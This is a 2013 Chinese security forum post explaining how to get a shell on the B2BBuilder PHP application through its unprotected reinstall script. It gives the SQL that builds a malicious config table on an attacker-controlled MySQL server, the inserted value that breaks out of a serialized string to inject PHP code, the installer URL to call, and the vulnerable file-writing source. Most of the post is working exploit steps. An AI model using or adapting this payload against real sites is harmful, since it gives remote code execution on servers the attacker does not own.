[我爱t00ls] B2BBuilder GetShell

2013-09-05 21:56:21 30 4107
来凑个热闹 漏洞最新版已修复

重装绕过
系统安装时  虽然install/index.php 有重装lock验证,但重装代码在  install.php 中 可以直接绕过验证,又结合下面的查询config表  直接写入文件  可以远程getshell



getshell
第一步: 公网mysql中新建一个 web_config  表
CREATE TABLE `hy_web_config` (  `id` int(5) unsigned NOT NULL auto_increment COMMENT '主键ID',  `index` varchar(30) NOT NULL COMMENT '数组下标',  `value` text NOT NULL COMMENT '数组值',  `statu` tinyint(1) NOT NULL default '1' COMMENT '状态值,1可能,0不可用',  `type` varchar(50) default NULL,  `des` text,  PRIMARY KEY  (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='网站配置表' AUTO_INCREMENT=849 ;
INSERT INTO  `hy_web_config` (`id` ,
`index` ,
`value` ,
`statu` ,
`type` ,
`des`)
VALUES (NULL , 'getshell', ''')); ?><?php phpinfo(); ?>', '1', NULL , NULL);
第二步 :

先在公网mysql执行语句
http://w/coder/b2b/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=b2btest&dbuser=root&dbpassword=passw0rd&tableprefix=b2bbuilder_&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF
访问以上地址 (修改为对应的信息)
                //写系统配置文件
                $rsid=mysql_query("select * from  ".$tableprefix."web_config");
              $arr=array(); $configs=array();
                while($row=mysql_fetch_array($rsid))
                {
                    $arr[] = $row;
                }
                foreach($arr as $v)
                {
                    $index=$v['index'];
                    $value=$v['value'];
                    $configs[$index]=$value;
                }
               
              $write_config_con_array=$configs;
                $write_config_con_str=serialize($write_config_con_array);//将数组序列化后生成字符串
                $write_config_con_str='<?php $config = array_merge($config, unserialize(\''.$write_config_con_str.'\'));?>';//生成要写的内容  写入shell
                $cfp=fopen(dirname(__FILE__).'/../config/web_config.php','w');
通过以上代码  可以getshell  

演示

关于作者

Yaseng7篇文章33篇回复

评论30次

要评论?请先  登录  或  注册